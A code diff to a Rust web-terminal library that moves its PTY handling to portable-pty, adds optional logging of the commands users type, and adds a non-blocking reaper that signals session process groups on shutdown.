impl From<Bytes> for IO {
|
||||
fn from(b: Bytes) -> Self {
|
||||
Self(b)
|
||||
}
|
||||
}
|
||||
|
||||
impl From<String> for IO {
|
||||
fn from(s: String) -> Self {
|
||||
Self(s.into())
|
||||
Self(Bytes::from(s))
|
||||
}
|
||||
}
|
||||
|
||||
impl From<&str> for IO {
|
||||
fn from(s: &str) -> Self {
|
||||
Self(s.into())
|
||||
Self(Bytes::from(s.to_owned()))
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ChildDied();
|
||||
|
||||
impl Message for ChildDied {
|
||||
|
||||
+413
-155
@@ -1,4 +1,5 @@
|
||||
// Copyright (c) 2019 Fabian Freyer <fabian.freyer@physik.tu-berlin.de>.
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
@@ -27,38 +28,42 @@
|
||||
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
#[macro_use]
|
||||
extern crate serde_json;
|
||||
#[macro_use]
|
||||
extern crate log;
|
||||
|
||||
use actix::prelude::*;
|
||||
use actix::{Actor, StreamHandler};
|
||||
use actix_web::{web, App, HttpRequest, HttpResponse};
|
||||
use actix_web_actors::ws;
|
||||
|
||||
use std::io::Write;
|
||||
use std::io::{Read, Write};
|
||||
use std::process::Command;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use tokio_codec::{BytesCodec, Decoder, FramedRead};
|
||||
use tokio_pty_process::{AsyncPtyMaster, AsyncPtyMasterWriteHalf, Child, CommandExt};
|
||||
|
||||
use bytes::Bytes;
|
||||
use handlebars::Handlebars;
|
||||
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
|
||||
use serde_json::json;
|
||||
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes
|
||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds
|
||||
|
||||
mod event;
|
||||
mod terminado;
|
||||
pub mod analytics;
|
||||
pub mod event;
|
||||
pub mod security;
|
||||
pub mod terminado;
|
||||
|
||||
use event::{ChildDied, TerminadoMessage, IO};
|
||||
|
||||
// Re-export for public API
|
||||
pub use analytics::Analytics;
|
||||
pub use security::{validate_command, validate_env_value, ValidationError};
|
||||
pub use terminado::ParseError;
|
||||
|
||||
/// Actix WebSocket actor
|
||||
pub struct Websocket {
|
||||
cons: Option<Addr<Terminal>>,
|
||||
hb: Instant,
|
||||
command: Option<Command>,
|
||||
analytics: Option<Analytics>,
|
||||
}
|
||||
|
||||
impl Actor for Websocket {
|
||||
@@ -73,54 +78,58 @@ impl Actor for Websocket {
|
||||
.take()
|
||||
.expect("command was None at start of WebSocket.");
|
||||
|
||||
// Start PTY
|
||||
self.cons = Some(Terminal::new(ctx.address(), command).start());
|
||||
// Start PTY with analytics if available
|
||||
let terminal = if let Some(analytics) = self.analytics.clone() {
|
||||
Terminal::with_analytics(ctx.address(), command, analytics)
|
||||
} else {
|
||||
Terminal::new(ctx.address(), command)
|
||||
};
|
||||
|
||||
trace!("Started WebSocket");
|
||||
self.cons = Some(terminal.start());
|
||||
|
||||
log::trace!("Started WebSocket");
|
||||
}
|
||||
|
||||
fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
|
||||
trace!("Stopping WebSocket");
|
||||
log::trace!("Stopping WebSocket");
|
||||
|
||||
// When the WebSocket disconnects, the Terminal's idle timeout will
|
||||
// automatically clean up the PTY session after IDLE_TIMEOUT (5 minutes).
|
||||
// This prevents "grey goo" accumulation of orphaned terminal processes
|
||||
// while giving reconnecting clients a grace period.
|
||||
if let Some(_cons) = self.cons.take() {
|
||||
info!("WebSocket disconnecting, Terminal will timeout if idle");
|
||||
log::info!("WebSocket disconnecting, Terminal will timeout if idle");
|
||||
}
|
||||
|
||||
Running::Stop
|
||||
}
|
||||
|
||||
fn stopped(&mut self, _ctx: &mut Self::Context) {
|
||||
trace!("Stopped WebSocket");
|
||||
log::trace!("Stopped WebSocket");
|
||||
}
|
||||
}
|
||||
|
||||
impl Handler<event::IO> for Websocket {
|
||||
impl Handler<IO> for Websocket {
|
||||
type Result = ();
|
||||
|
||||
fn handle(&mut self, msg: event::IO, ctx: &mut <Self as Actor>::Context) {
|
||||
trace!("Websocket <- Terminal : {:?}", msg);
|
||||
ctx.binary(msg);
|
||||
fn handle(&mut self, msg: IO, ctx: &mut <Self as Actor>::Context) {
|
||||
log::trace!("Websocket <- Terminal : {:?}", msg);
|
||||
ctx.binary(msg.0);
|
||||
}
|
||||
}
|
||||
|
||||
impl Handler<event::TerminadoMessage> for Websocket {
|
||||
impl Handler<TerminadoMessage> for Websocket {
|
||||
type Result = ();
|
||||
|
||||
fn handle(&mut self, msg: event::TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
|
||||
trace!("Websocket <- Terminal : {:?}", msg);
|
||||
fn handle(&mut self, msg: TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
|
||||
log::trace!("Websocket <- Terminal : {:?}", msg);
|
||||
match msg {
|
||||
event::TerminadoMessage::Stdout(_) => {
|
||||
TerminadoMessage::Stdout(_) => {
|
||||
let json = serde_json::to_string(&msg);
|
||||
|
||||
if let Ok(json) = json {
|
||||
ctx.text(json);
|
||||
}
|
||||
}
|
||||
_ => error!(r#"Invalid event::TerminadoMessage to Websocket: only "stdout" supported"#),
|
||||
_ => log::error!(
|
||||
r#"Invalid event::TerminadoMessage to Websocket: only "stdout" supported"#
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -131,28 +140,47 @@ impl Websocket {
|
||||
hb: Instant::now(),
|
||||
cons: None,
|
||||
command: Some(command),
|
||||
analytics: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn with_analytics(command: Command, analytics: Analytics) -> Self {
|
||||
Self {
|
||||
hb: Instant::now(),
|
||||
cons: None,
|
||||
command: Some(command),
|
||||
analytics: Some(analytics),
|
||||
}
|
||||
}
|
||||
|
||||
fn hb(&self, ctx: &mut <Self as Actor>::Context) {
|
||||
ctx.run_interval(HEARTBEAT_INTERVAL, |act, ctx| {
|
||||
if Instant::now().duration_since(act.hb) > CLIENT_TIMEOUT {
|
||||
warn!("Client heartbeat timeout, disconnecting.");
|
||||
log::warn!("Client heartbeat timeout, disconnecting.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
|
||||
ctx.ping("");
|
||||
ctx.ping(b"");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
impl StreamHandler<ws::Message, ws::ProtocolError> for Websocket {
|
||||
fn handle(&mut self, msg: ws::Message, ctx: &mut Self::Context) {
|
||||
impl StreamHandler<Result<ws::Message, ws::ProtocolError>> for Websocket {
|
||||
fn handle(&mut self, msg: Result<ws::Message, ws::ProtocolError>, ctx: &mut Self::Context) {
|
||||
let cons: &mut Addr<Terminal> = match self.cons {
|
||||
Some(ref mut c) => c,
|
||||
None => {
|
||||
error!("Terminalole died, closing websocket.");
|
||||
log::error!("Terminal died, closing websocket.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let msg = match msg {
|
||||
Ok(msg) => msg,
|
||||
Err(e) => {
|
||||
log::error!("WebSocket protocol error: {}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
@@ -166,57 +194,177 @@ impl StreamHandler<ws::Message, ws::ProtocolError> for Websocket {
|
||||
ws::Message::Pong(_) => self.hb = Instant::now(),
|
||||
ws::Message::Text(t) => {
|
||||
// Attempt to parse the message as JSON.
|
||||
if let Ok(tmsg) = event::TerminadoMessage::from_json(&t) {
|
||||
if let Ok(tmsg) = TerminadoMessage::from_json(t.as_ref()) {
|
||||
cons.do_send(tmsg);
|
||||
} else {
|
||||
// Otherwise, it's just byte data.
|
||||
cons.do_send(event::IO::from(t));
|
||||
cons.do_send(IO::from(t.to_string()));
|
||||
}
|
||||
}
|
||||
ws::Message::Binary(b) => cons.do_send(event::IO::from(b)),
|
||||
ws::Message::Binary(b) => cons.do_send(IO::from(b)),
|
||||
ws::Message::Close(_) => ctx.stop(),
|
||||
ws::Message::Nop => {}
|
||||
ws::Message::Nop | ws::Message::Continuation(_) => {}
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
impl Handler<event::ChildDied> for Websocket {
|
||||
impl Handler<ChildDied> for Websocket {
|
||||
type Result = ();
|
||||
|
||||
fn handle(&mut self, _msg: event::ChildDied, ctx: &mut <Self as Actor>::Context) {
|
||||
trace!("Websocket <- ChildDied");
|
||||
fn handle(&mut self, _msg: ChildDied, ctx: &mut <Self as Actor>::Context) {
|
||||
log::trace!("Websocket <- ChildDied");
|
||||
ctx.close(None);
|
||||
ctx.stop();
|
||||
}
|
||||
}
|
||||
|
||||
/// Represents a PTY backenActix WebSocket actor.d with attached child
|
||||
/// Grace the session gets to exit on SIGHUP before the reaper sends SIGKILL.
|
||||
const CHILD_EXIT_GRACE: Duration = Duration::from_secs(2);
|
||||
/// Upper bound on how long the reaper polls after SIGKILL before it logs the
|
||||
/// survivor and falls back to a blocking wait on its own thread.
|
||||
const CHILD_REAP_DEADLINE: Duration = Duration::from_secs(10);
|
||||
const CHILD_POLL_INTERVAL: Duration = Duration::from_millis(100);
|
||||
|
||||
/// Send `signal` to the child's whole process group.
|
||||
///
|
||||
/// portable-pty spawns the child with `setsid()`, so its pid is also its pgid
|
||||
/// and `kill(-pid)` reaches every process in the session — the shell *and*
|
||||
/// whatever it is running. Signalling only the shell is not enough: a
|
||||
/// non-interactive bash waiting on a foreground command defers signal handling
|
||||
/// until that command exits, so the shell dies on SIGKILL and its child is
|
||||
/// orphaned still holding the pty.
|
||||
fn signal_process_group(pid: u32, signal: libc::c_int) -> std::io::Result<()> {
|
||||
let pgid = -(pid as libc::pid_t);
|
||||
// SAFETY: plain libc call with a pgid we own; no memory is touched.
|
||||
if unsafe { libc::kill(pgid, signal) } == 0 {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::last_os_error())
|
||||
}
|
||||
}
|
||||
|
||||
/// Terminate and reap a session's child process without blocking the caller.
|
||||
///
|
||||
/// SIGHUP goes to the process group immediately; a detached thread then polls
|
||||
/// for exit, escalates to SIGKILL after [`CHILD_EXIT_GRACE`], and only after
|
||||
/// [`CHILD_REAP_DEADLINE`] gives up polling and parks in a blocking `wait()` —
|
||||
/// on its own thread, so a session the server is not permitted to signal can
|
||||
/// never wedge an actix worker again. Signal failures are logged, not
|
||||
/// swallowed: `EPERM` here means the container lacks `CAP_KILL` while sessions
|
||||
/// run as a different uid.
|
||||
///
|
||||
/// Returns the reaper's `JoinHandle`; callers normally drop it.
|
||||
pub fn reap_child(mut child: Box<dyn portable_pty::Child + Send>) -> std::thread::JoinHandle<()> {
|
||||
let pid = child.process_id();
|
||||
|
||||
if let Some(pid) = pid {
|
||||
match signal_process_group(pid, libc::SIGHUP) {
|
||||
Ok(()) => log::debug!("Sent SIGHUP to session process group {}", pid),
|
||||
Err(e) => log::error!(
|
||||
"Cannot SIGHUP session process group {}: {} \
|
||||
(EPERM means webterm-server lacks CAP_KILL for cross-uid sessions)",
|
||||
pid,
|
||||
e
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
std::thread::Builder::new()
|
||||
.name(format!("reap-{}", pid.unwrap_or(0)))
|
||||
.spawn(move || {
|
||||
let started = Instant::now();
|
||||
let mut killed = false;
|
||||
|
||||
loop {
|
||||
match child.try_wait() {
|
||||
Ok(Some(status)) => {
|
||||
log::info!(
|
||||
"Session {} exited with {:?} after {:?}",
|
||||
pid.unwrap_or(0),
|
||||
status,
|
||||
started.elapsed()
|
||||
);
|
||||
return;
|
||||
}
|
||||
Ok(None) => {}
|
||||
Err(e) => {
|
||||
log::error!("try_wait on session {} failed: {}", pid.unwrap_or(0), e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = started.elapsed();
|
||||
if !killed && elapsed >= CHILD_EXIT_GRACE {
|
||||
killed = true;
|
||||
if let Some(pid) = pid {
|
||||
match signal_process_group(pid, libc::SIGKILL) {
|
||||
Ok(()) => log::warn!(
|
||||
"Session {} ignored SIGHUP for {:?}; sent SIGKILL",
|
||||
pid,
|
||||
elapsed
|
||||
),
|
||||
Err(e) => {
|
||||
log::error!("Cannot SIGKILL session process group {}: {}", pid, e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if elapsed >= CHILD_REAP_DEADLINE {
|
||||
log::error!(
|
||||
"Session {} still alive {:?} after SIGKILL; reaper parking in wait()",
|
||||
pid.unwrap_or(0),
|
||||
elapsed
|
||||
);
|
||||
let _ = child.wait();
|
||||
return;
|
||||
}
|
||||
|
||||
std::thread::sleep(CHILD_POLL_INTERVAL);
|
||||
}
|
||||
})
|
||||
.expect("failed to spawn session reaper thread")
|
||||
}
|
||||
|
||||
/// Represents a PTY backend with attached child
|
||||
pub struct Terminal {
|
||||
pty_write: Option<AsyncPtyMasterWriteHalf>,
|
||||
child: Option<Child>,
|
||||
pty_master: Option<Box<dyn portable_pty::MasterPty + Send>>,
|
||||
pty_writer: Option<Box<dyn Write + Send>>,
|
||||
child: Option<Box<dyn portable_pty::Child + Send>>,
|
||||
ws: Addr<Websocket>,
|
||||
command: Command,
|
||||
last_activity: Instant,
|
||||
idle_timeout: Duration,
|
||||
analytics: Option<Analytics>,
|
||||
command_buffer: String,
|
||||
}
|
||||
|
||||
impl Terminal {
|
||||
pub fn new(ws: Addr<Websocket>, command: Command) -> Self {
|
||||
Self {
|
||||
pty_write: None,
|
||||
pty_master: None,
|
||||
pty_writer: None,
|
||||
child: None,
|
||||
ws,
|
||||
command,
|
||||
last_activity: Instant::now(),
|
||||
idle_timeout: IDLE_TIMEOUT,
|
||||
idle_timeout: Duration::from_secs(300),
|
||||
analytics: None,
|
||||
command_buffer: String::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl StreamHandler<<BytesCodec as Decoder>::Item, <BytesCodec as Decoder>::Error> for Terminal {
|
||||
fn handle(&mut self, msg: <BytesCodec as Decoder>::Item, _ctx: &mut Self::Context) {
|
||||
self.ws
|
||||
.do_send(event::TerminadoMessage::Stdout(event::IO(msg)));
|
||||
pub fn with_analytics(ws: Addr<Websocket>, command: Command, analytics: Analytics) -> Self {
|
||||
Self {
|
||||
pty_master: None,
|
||||
pty_writer: None,
|
||||
child: None,
|
||||
ws,
|
||||
command,
|
||||
last_activity: Instant::now(),
|
||||
idle_timeout: Duration::from_secs(300),
|
||||
analytics: Some(analytics),
|
||||
command_buffer: String::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -224,47 +372,97 @@ impl Actor for Terminal {
|
||||
type Context = Context<Self>;
|
||||
|
||||
fn started(&mut self, ctx: &mut Self::Context) {
|
||||
info!("Started Terminal");
|
||||
let pty = match AsyncPtyMaster::open() {
|
||||
log::info!("Started Terminal");
|
||||
|
||||
let pty_system = native_pty_system();
|
||||
|
||||
let pty_pair = match pty_system.openpty(PtySize {
|
||||
rows: 24,
|
||||
cols: 80,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
}) {
|
||||
Ok(pair) => pair,
|
||||
Err(e) => {
|
||||
error!("Unable to open PTY: {:?}", e);
|
||||
log::error!("Unable to open PTY: {:?}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
Ok(pty) => pty,
|
||||
};
|
||||
|
||||
let child = match self.command.spawn_pty_async(&pty) {
|
||||
Err(e) => {
|
||||
error!("Unable to spawn child: {:?}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
let mut cmd_builder = CommandBuilder::new(self.command.get_program());
|
||||
for arg in self.command.get_args() {
|
||||
cmd_builder.arg(arg);
|
||||
}
|
||||
for (key, val) in self.command.get_envs() {
|
||||
if let Some(val) = val {
|
||||
cmd_builder.env(key, val);
|
||||
}
|
||||
}
|
||||
|
||||
let child = match pty_pair.slave.spawn_command(cmd_builder) {
|
||||
Ok(child) => child,
|
||||
Err(e) => {
|
||||
log::error!("Unable to spawn child: {:?}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
info!("Spawned new child process with PID {}", child.id());
|
||||
log::info!("Spawned new child process");
|
||||
|
||||
let (pty_read, mut pty_write) = pty.split();
|
||||
// Get reader and writer
|
||||
let reader = match pty_pair.master.try_clone_reader() {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
log::error!("Unable to clone reader: {:?}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Set a sensible default PTY size immediately after splitting the PTY.
|
||||
// This avoids sending an initial 0x0 resize to the backend which can
|
||||
// cause panics in terminal UI libraries like ratatui.
|
||||
//
|
||||
// We use the Resize helper which accepts a mutable reference to the
|
||||
// write-half of the PTY and block until the resize completes.
|
||||
let _ = event::Resize::new(&mut pty_write, 24, 80).wait();
|
||||
let writer = match pty_pair.master.take_writer() {
|
||||
Ok(w) => w,
|
||||
Err(e) => {
|
||||
log::error!("Unable to get writer: {:?}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
self.pty_write = Some(pty_write);
|
||||
self.pty_master = Some(pty_pair.master);
|
||||
self.pty_writer = Some(writer);
|
||||
self.child = Some(child);
|
||||
|
||||
Self::add_stream(FramedRead::new(pty_read, BytesCodec::new()), ctx);
|
||||
// Spawn blocking thread to read from PTY
|
||||
let ws = self.ws.clone();
|
||||
std::thread::spawn(move || {
|
||||
let mut reader = reader;
|
||||
let mut buf = [0u8; 8192];
|
||||
|
||||
loop {
|
||||
match reader.read(&mut buf) {
|
||||
Ok(0) => {
|
||||
log::info!("PTY reader reached EOF");
|
||||
break;
|
||||
}
|
||||
Ok(n) => {
|
||||
let data = Bytes::copy_from_slice(&buf[..n]);
|
||||
ws.do_send(TerminadoMessage::Stdout(IO(data)));
|
||||
}
|
||||
Err(e) => {
|
||||
log::error!("Error reading from PTY: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Start idle timeout checker
|
||||
ctx.run_interval(IDLE_CHECK_INTERVAL, |act, ctx| {
|
||||
let idle_duration = Instant::now().duration_since(act.last_activity);
|
||||
if idle_duration >= act.idle_timeout {
|
||||
info!(
|
||||
log::info!(
|
||||
"Terminal idle timeout reached ({:?} idle), stopping session",
|
||||
idle_duration
|
||||
);
|
||||
@@ -274,93 +472,135 @@ impl Actor for Terminal {
|
||||
}
|
||||
|
||||
fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
|
||||
info!("Stopping Terminal");
|
||||
log::info!("Stopping Terminal");
|
||||
|
||||
let child = self.child.take();
|
||||
|
||||
if child.is_none() {
|
||||
// Great, child is already dead!
|
||||
return Running::Stop;
|
||||
// Release our side of the pty first so the reader thread sees EOF once
|
||||
// the session is gone, then hand the child to the reaper. This used to
|
||||
// be `child.kill(); child.wait();` inline — a blocking waitpid on the
|
||||
// actix worker thread. When the kill was refused (the session runs as
|
||||
// another uid and the server had no CAP_KILL) the child lived on and
|
||||
// the worker hung forever, taking half the server's connections with
|
||||
// it. Nothing here may block.
|
||||
self.pty_writer = None;
|
||||
self.pty_master = None;
|
||||
if let Some(child) = self.child.take() {
|
||||
reap_child(child);
|
||||
}
|
||||
|
||||
let mut child = child.unwrap();
|
||||
|
||||
match child.kill() {
|
||||
Ok(()) => match child.wait() {
|
||||
Ok(exit) => info!("Child died: {:?}", exit),
|
||||
Err(e) => error!("Child wouldn't die: {}", e),
|
||||
},
|
||||
Err(e) => error!("Could not kill child with PID {}: {}", child.id(), e),
|
||||
};
|
||||
|
||||
// Notify the websocket that the child died.
|
||||
self.ws.do_send(event::ChildDied());
|
||||
self.ws.do_send(ChildDied());
|
||||
|
||||
Running::Stop
|
||||
}
|
||||
|
||||
fn stopped(&mut self, _ctx: &mut Self::Context) {
|
||||
info!("Stopped Terminal");
|
||||
log::info!("Stopped Terminal");
|
||||
}
|
||||
}
|
||||
|
||||
impl Handler<event::IO> for Terminal {
|
||||
impl Handler<IO> for Terminal {
|
||||
type Result = ();
|
||||
|
||||
fn handle(&mut self, msg: event::IO, ctx: &mut <Self as Actor>::Context) {
|
||||
fn handle(&mut self, msg: IO, ctx: &mut <Self as Actor>::Context) {
|
||||
// Reset idle timer on activity
|
||||
self.last_activity = Instant::now();
|
||||
|
||||
let pty = match self.pty_write {
|
||||
Some(ref mut p) => p,
|
||||
let writer = match &mut self.pty_writer {
|
||||
Some(w) => w,
|
||||
None => {
|
||||
error!("Write half of PTY died, stopping Terminal.");
|
||||
log::error!("PTY writer died, stopping Terminal.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
if let Err(e) = pty.write(msg.as_ref()) {
|
||||
error!("Could not write to PTY: {}", e);
|
||||
if let Err(e) = writer.write_all(&msg.0) {
|
||||
log::error!("Could not write to PTY: {}", e);
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
|
||||
trace!("Websocket -> Terminal : {:?}", msg);
|
||||
log::trace!("Websocket -> Terminal : {:?}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
impl Handler<event::TerminadoMessage> for Terminal {
|
||||
impl Handler<TerminadoMessage> for Terminal {
|
||||
type Result = ();
|
||||
|
||||
fn handle(&mut self, msg: event::TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
|
||||
let pty = match self.pty_write {
|
||||
Some(ref mut p) => p,
|
||||
None => {
|
||||
error!("Write half of PTY died, stopping Terminal.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
trace!("Websocket -> Terminal : {:?}", msg);
|
||||
fn handle(&mut self, msg: TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
|
||||
log::trace!("Websocket -> Terminal : {:?}", msg);
|
||||
match msg {
|
||||
event::TerminadoMessage::Stdin(io) => {
|
||||
TerminadoMessage::Stdin(io) => {
|
||||
// Reset idle timer on user input
|
||||
self.last_activity = Instant::now();
|
||||
|
||||
if let Err(e) = pty.write(io.as_ref()) {
|
||||
error!("Could not write to PTY: {}", e);
|
||||
// Buffer input and track command only when Enter is pressed
|
||||
if let Some(analytics) = &self.analytics {
|
||||
let input = String::from_utf8_lossy(&io.0).to_string();
|
||||
|
||||
// Check if input contains newline (Enter key)
|
||||
if input.contains('\n') || input.contains('\r') {
|
||||
// Strip ANSI escape sequences and control codes
|
||||
// Pattern matches: ESC[ followed by any characters until a letter
|
||||
let mut cleaned_command = self.command_buffer.clone();
|
||||
|
||||
// Remove ANSI escape sequences like [<35;2;1M
|
||||
// This regex pattern matches ESC [ followed by any non-letter chars and ending with a letter
|
||||
let escape_pattern = regex::Regex::new(r"\x1b\[[^\x1b]*?[a-zA-Z]").unwrap();
|
||||
cleaned_command =
|
||||
escape_pattern.replace_all(&cleaned_command, "").to_string();
|
||||
|
||||
// Remove CSI sequences without ESC prefix like [<35;2;1M
|
||||
let csi_pattern = regex::Regex::new(r"\[<[0-9;]+[a-zA-Z]").unwrap();
|
||||
cleaned_command = csi_pattern.replace_all(&cleaned_command, "").to_string();
|
||||
|
||||
// Remove any remaining control characters
|
||||
cleaned_command = cleaned_command
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || c.is_ascii_whitespace())
|
||||
.collect();
|
||||
|
||||
let command = cleaned_command.trim().to_string();
|
||||
|
||||
// Track if command has actual content (alphanumeric chars)
|
||||
if !command.is_empty() && command.chars().any(|c| c.is_ascii_alphanumeric())
|
||||
{
|
||||
log::info!("Tracking command: '{}'", command);
|
||||
let analytics_clone = analytics.clone();
|
||||
actix::spawn(async move {
|
||||
let _ = analytics_clone.track_command(&command, None).await;
|
||||
});
|
||||
}
|
||||
|
||||
// Clear buffer for next command
|
||||
self.command_buffer.clear();
|
||||
} else {
|
||||
// Accumulate input in buffer
|
||||
self.command_buffer.push_str(&input);
|
||||
}
|
||||
}
|
||||
|
||||
let writer = match &mut self.pty_writer {
|
||||
Some(w) => w,
|
||||
None => {
|
||||
log::error!("PTY writer died, stopping Terminal.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
if let Err(e) = writer.write_all(&io.0) {
|
||||
log::error!("Could not write to PTY: {}", e);
|
||||
ctx.stop();
|
||||
}
|
||||
}
|
||||
event::TerminadoMessage::Resize { rows, cols } => {
|
||||
TerminadoMessage::Resize { rows, cols } => {
|
||||
// Reset idle timer on resize (user interaction)
|
||||
self.last_activity = Instant::now();
|
||||
|
||||
// Ignore zero-sized resizes which can cause panics in backends
|
||||
// such as ratatui when they receive a Rect with width or height 0.
|
||||
// Ignore zero-sized resizes
|
||||
if rows == 0 || cols == 0 {
|
||||
trace!(
|
||||
log::trace!(
|
||||
"Ignoring zero-sized resize: cols = {}, rows = {}",
|
||||
cols,
|
||||
rows
|
||||
@@ -368,14 +608,29 @@ impl Handler<event::TerminadoMessage> for Terminal {
|
||||
return;
|
||||
}
|
||||
|
||||
info!("Resize: cols = {}, rows = {}", cols, rows);
|
||||
if let Err(e) = event::Resize::new(pty, rows, cols).wait() {
|
||||
error!("Resize failed: {}", e);
|
||||
log::info!("Resize: cols = {}, rows = {}", cols, rows);
|
||||
|
||||
let pty = match &mut self.pty_master {
|
||||
Some(p) => p,
|
||||
None => {
|
||||
log::error!("PTY died, stopping Terminal.");
|
||||
ctx.stop();
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
if let Err(e) = pty.resize(PtySize {
|
||||
rows,
|
||||
cols,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
}) {
|
||||
log::error!("Resize failed: {}", e);
|
||||
ctx.stop();
|
||||
}
|
||||
}
|
||||
event::TerminadoMessage::Stdout(_) => {
|
||||
error!("Invalid Terminado Message: Stdin cannot go to PTY")
|
||||
TerminadoMessage::Stdout(_) => {
|
||||
log::error!("Invalid Terminado Message: Stdout cannot go to PTY")
|
||||
}
|
||||
};
|
||||
}
|
||||
@@ -384,63 +639,66 @@ impl Handler<event::TerminadoMessage> for Terminal {
|
||||
/// Trait to extend an [actix_web::App] by serving a web terminal.
|
||||
pub trait WebTermExt {
|
||||
/// Serve the websocket for the webterm
|
||||
fn webterm_socket<F>(self: Self, endpoint: &str, handler: F) -> Self
|
||||
fn webterm_socket<F>(self, endpoint: &str, handler: F) -> Self
|
||||
where
|
||||
F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static;
|
||||
|
||||
fn webterm_ui(
|
||||
self: Self,
|
||||
endpoint: &str,
|
||||
webterm_socket_endpoint: &str,
|
||||
static_path: &str,
|
||||
) -> Self;
|
||||
fn webterm_ui(self, endpoint: &str, webterm_socket_endpoint: &str, static_path: &str) -> Self;
|
||||
}
|
||||
|
||||
impl<T, B> WebTermExt for App<T, B>
|
||||
impl<T> WebTermExt for App<T>
|
||||
where
|
||||
B: actix_web::body::MessageBody,
|
||||
T: actix_service::NewService<
|
||||
T: actix_web::dev::ServiceFactory<
|
||||
actix_web::dev::ServiceRequest,
|
||||
Config = (),
|
||||
Request = actix_web::dev::ServiceRequest,
|
||||
Response = actix_web::dev::ServiceResponse<B>,
|
||||
Error = actix_web::Error,
|
||||
InitError = (),
|
||||
>,
|
||||
{
|
||||
fn webterm_socket<F>(self: Self, endpoint: &str, handler: F) -> Self
|
||||
fn webterm_socket<F>(self, endpoint: &str, handler: F) -> Self
|
||||
where
|
||||
F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static,
|
||||
{
|
||||
self.route(
|
||||
endpoint,
|
||||
web::get().to(move |req: HttpRequest, stream: web::Payload| {
|
||||
ws::start(Websocket::new(handler(&req)), &req, stream)
|
||||
}),
|
||||
web::get().to(
|
||||
move |req: HttpRequest,
|
||||
stream: web::Payload,
|
||||
analytics: Option<web::Data<Analytics>>| {
|
||||
let cmd = handler(&req);
|
||||
let ws = if let Some(analytics_data) = analytics {
|
||||
Websocket::with_analytics(cmd, analytics_data.as_ref().clone())
|
||||
} else {
|
||||
Websocket::new(cmd)
|
||||
};
|
||||
async move { ws::start(ws, &req, stream) }
|
||||
},
|
||||
),
|
||||
)
|
||||
}
|
||||
|
||||
fn webterm_ui(
|
||||
self: Self,
|
||||
endpoint: &str,
|
||||
webterm_socket_endpoint: &str,
|
||||
static_path: &str,
|
||||
) -> Self {
|
||||
fn webterm_ui(self, endpoint: &str, webterm_socket_endpoint: &str, static_path: &str) -> Self {
|
||||
let mut handlebars = Handlebars::new();
|
||||
handlebars
|
||||
.register_templates_directory(".html", "./templates")
|
||||
.register_template_file("term", "./templates/term.html")
|
||||
.unwrap();
|
||||
let handlebars_ref = web::Data::new(handlebars);
|
||||
let static_path = static_path.to_owned();
|
||||
let webterm_socket_endpoint = webterm_socket_endpoint.to_owned();
|
||||
self.register_data(handlebars_ref.clone()).route(
|
||||
|
||||
self.app_data(handlebars_ref.clone()).route(
|
||||
endpoint,
|
||||
web::get().to(move |hb: web::Data<Handlebars>| {
|
||||
let data = json!({
|
||||
"websocket_path": webterm_socket_endpoint,
|
||||
"static_path": static_path,
|
||||
});
|
||||
let body = hb.render("term", &data).unwrap();
|
||||
HttpResponse::Ok().body(body)
|
||||
web::get().to(move |hb: web::Data<Handlebars<'static>>| {
|
||||
let websocket_path = webterm_socket_endpoint.clone();
|
||||
let static_path_clone = static_path.clone();
|
||||
async move {
|
